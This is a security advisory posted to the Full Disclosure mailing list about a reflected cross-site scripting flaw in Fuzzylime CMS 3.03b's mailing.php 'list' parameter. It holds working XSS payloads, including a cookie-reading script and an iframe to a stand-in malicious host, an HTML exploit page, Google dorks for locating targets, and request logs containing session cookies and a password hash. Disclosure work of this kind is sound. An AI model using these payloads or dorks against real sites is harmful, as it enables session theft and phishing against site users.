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[FD] Fuzzylime v3.03b CMS - CS Cross Scripting Vulnerability
- To: fulldisclosure@xxxxxxxxxxxx
- Subject: [FD] Fuzzylime v3.03b CMS - CS Cross Scripting Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Tue, 16 Dec 2014 20:45:17 +0100
Document Title:
===============
Fuzzylime v3.03b CMS - CS Cross Scripting Vulnerability
References (Source):
====================
http://vulnerability-lab.com/get_content.php?id=1357
Release Date:
=============
2014-12-02
Vulnerability Laboratory ID (VL-ID):
====================================
1357
Common Vulnerability Scoring System:
====================================
2.4
Product & Service Introduction:
===============================
Fuzzylime (cms) is the easiest way for you to run your site and keep it
up-to-date. Once installed, you can update from any
internet-connected PC in the world – you don`t even need to know HTML! It has
tons of features so whatever you want from
your site, chances are this script will be able to do it for you.
(Copy of the Homepage: http://www.fuzzylime.co.uk/ )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a client-side cross site
scripting vulnerability in the official Fuzzylime v3.03b CMS.
Vulnerability Disclosure Timeline:
==================================
2014-12-02: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
FuzzyLime Limited
Product: Fuzzylime - Content Management System 3.03b
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A client-side cross site scripting web vulnerability has been discovered in the
official Fuzzylime v3.03b Content Management System.
The non-persistent web vulnerability allows to manipulate client-side
application requests to compromise user session information.
The vulnerability is located in the mailing.php file. Remote attackers are able
to inject client-side script codes by usage of the GET
method request with the vulnerable list value. The encoding of the list value
in the mailing.php file is broken. The attack vector is
non-persistent and the request method to inject is GET.
The security risk of the client-side vulnerability is estimated as medium with
a cvss (common vulnerability scoring system) count of 2.4.
Exploitation of the non-persistent cross site vulnerability requires no
privileged web-application user account and low user interaction.
Successful exploitation of the vulnerabilities result in client-side phishing,
client-side session hijacking attacks, client-side external
redirect to malicious sources and client-side manipulation of affected or
connected module context.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] Mailinglist
Vulnerable File(s):
[+] mailing.php
Vulnerable Parameter(s):
[+] list
Proof of Concept (PoC):
=======================
The client-side cross site scripting vulnerability can be exploited by remote
attackers without privileged application user account and low user interaction.
For security demonstration or to reproduce the security vulnerability follow
the provided information and steps below to continue.
Google Dork(s):
allinurl:powered by fuzzylime (cms)
title:powered by fuzzylime (cms)
PoC: Mailing.php
http://fuzzylime.127.0.0.1:8080/fuzzylime/admin/mailing.php?list=";><[CROSS SITE
SCRIPTING VULNERABILITY!]>
Exploit: Client-Side Cross Site Scripting Vulnerability
<html>
<head><body>
<title>PoC: Client-Side Cross Site Scripting Vulnerability</title>
<img
src=http://fuzzylime.127.0.0.1:8080/fuzzylime/admin/mailing.php?list=%3E%22%3Ciframe%20src=http://evil-code%3E>
<img
src=http://fuzzylime.127.0.0.1:8080/fuzzylime/admin/mailing.php?list=%3E%22%3Cscript>alert(document.cookie)</script><div
style="1
</body></head>
<html>
Code Review: Mailing list
<h2>Mailing list | "><[CROSS SITE SCRIPTING VULNERABILITY!]>'</h2><p/>
Enter addresses in the box below - one per line.<p/>
form method="post" action="mailing.php?list="><[CROSS SITE SCRIPTING
VULNERABILITY!]>'&opt=add_x"><textarea name="emails" cols="60"
rows="20">textarea<br/>
<input type="x_submit" value="Add_x"/></form></div>
<div class="footer">powered by <a href="http://cms.fuzzylime.co.uk";
target="_blank">fuzzylime (cms)</a></div>
</div></body>
</html></h2>
--- PoC Session Logs [GET] ---
Status: 200[OK]
GET
http://fuzzylime.127.0.0.1:8080/fuzzylime/admin/mailing.php?list=%3Cscript%3Ealert(document.cookie)%3C/script%3E&opt=edit
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des
Inhalts[1073] Mime Type[text/html]
Request Header:
Host[http://fuzzylime.127.0.0.1:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101
Firefox/33.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Cookie[cookuser=admin; cookpass=fe01ce2a7fbac8fafaed7c982a04e229;
__utma=87180614.840276727.1416877709.1416877709.1416911036.2; __utmc=87180614;
__utmz=87180614.1416877709.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);
__gads=ID=d85f413774f5f900:T=1416878167:S=ALNI_MZhnbZ041rSNwxKoJP5Bx81E492AQ;
PHPSESSID=0acs99b01rsa8nlpofngo5t3j3; typo3-login-cookiecheck=true;
etomite_etomite_web=t6aar607egkmj2dbkchfqetud1;
etomite_etomite_mgr=hs2irnik5695p06s33ahbni545;
etomite_etomite_=%255D%25EC%2503%25F6%25E4;
90a7a5e1983e256afa84ef8646bae7bc=0cdiqpkpqq2qnr8j146v7oolb3;
InterPhotoFKZot3ekKXKuu=bdbe2ea137979d10eab0c1971a6c98a1;
OS_WysGui=qk0b056dctmh8v5rqdhuua4pk7]
Connection[keep-alive]
Response Header:
Server[nginx/0.7.65]
Date[Tue, 25 Nov 2014 10:56:32 GMT]
Content-Type[text/html]
Connection[keep-alive]
Keep-Alive[timeout=20]
X-Powered-By[PHP/5.3.10-1~lucid+2uwsgi2]
Vary[Accept-Encoding]
Content-Encoding[gzip]
Content-Length[1073]
-
Status: 200[OK]
GET http://fuzzylime.127.0.0.1:8080/fuzzylime/templates/scripts/ajax.js.php
Load Flags[LOAD_NORMAL] Größe des Inhalts[4696] Mime Type[text/html]
Request Header:
Host[fuzzylime.127.0.0.1:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101
Firefox/33.0]
Accept[*/*]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://fuzzylime.127.0.0.1:8080/fuzzylime/admin/mailing.php?list=%3Cscript%3Ealert(document.cookie)%3C/script%3E&opt=edit]
Cookie[__utma=87180614.840276727.1416877709.1416877709.1416911036.2;
__utmc=87180614;
__utmz=87180614.1416877709.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);
__gads=ID=d85f413774f5f900:T=1416878167:S=ALNI_MZhnbZ041rSNwxKoJP5Bx81E492AQ;
PHPSESSID=0acs99b01rsa8nlpofngo5t3j3; typo3-login-cookiecheck=true;
cms_etomite_etomite_web=t6aar607egkmj2dbkchfqetud1;
cms_etomite_etomite_mgr=hs2irnik5695p06s33ahbni545;
cms_etomite_etomite_=%255D%25EC%2503%25F6%25E4;
90a7a5e1983e256afa84ef8646bae7bc=0cdiqpkpqq2qnr8j146v7oolb3;
InterPhotoFKZot3ekKXKuu=bdbe2ea137979d10eab0c1971a6c98a1;
OS_WysGui=qk0b056dctmh8v5rqdhuua4pk7]
Connection[keep-alive]
Response Header:
Server[nginx/0.7.65]
Date[Tue, 25 Nov 2014 10:56:32 GMT]
Content-Type[text/html]
Connection[keep-alive]
Keep-Alive[timeout=20]
X-Powered-By[PHP/5.3.10-1~lucid+2uwsgi2]
Vary[Accept-Encoding]
Content-Encoding[gzip]
Content-Length[4696]
Reference(s):
http://fuzzylime.127.0.0.1:8080/fuzzylime/
http://fuzzylime.127.0.0.1:8080/fuzzylime/admin/
http://fuzzylime.127.0.0.1:8080/fuzzylime/admin/mailing.php
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the
vulnerability list value in the mailing.php file.
Restrict the input values and protect the application with an exception to
prevent client-side cross site scripting vulnerabilities.
Security Risk:
==============
The security risk of the non-persistent cross site scripting web vulnerability
in the list value is estimated as medium. (CVSS 2.4)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]
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=========================
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